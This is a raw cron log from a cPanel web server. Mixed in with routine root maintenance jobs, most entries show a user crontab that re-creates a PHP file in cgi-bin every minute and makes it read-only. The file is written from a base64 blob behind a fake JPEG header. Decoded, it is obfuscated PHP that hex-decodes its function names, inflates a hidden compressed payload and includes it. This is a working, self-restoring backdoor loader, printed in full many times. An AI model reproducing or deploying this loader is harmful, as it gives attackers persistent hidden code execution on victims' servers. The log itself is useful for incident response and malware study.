Nov 11 18:32:01 server CROND[21312]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:33:01 server CROND[22226]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:34:01 server CROND[23048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:35:01 server CROND[23857]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 18:35:01 server CROND[23861]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:35:01 server CROND[23860]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 18:35:01 server CROND[23862]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:35:01 server CROND[23858]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:36:01 server CROND[24439]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:37:01 server CROND[24971]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:38:01 server CROND[25542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:39:01 server CROND[26138]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:39:01 server CROND[26139]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:40:01 server CROND[27013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 18:40:01 server CROND[27014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 18:40:01 server CROND[27015]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 18:40:01 server CROND[27017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:41:01 server CROND[27983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:42:01 server CROND[28797]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 18:42:01 server CROND[28798]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:43:01 server CROND[29487]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 18:44:01 server CROND[30179]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
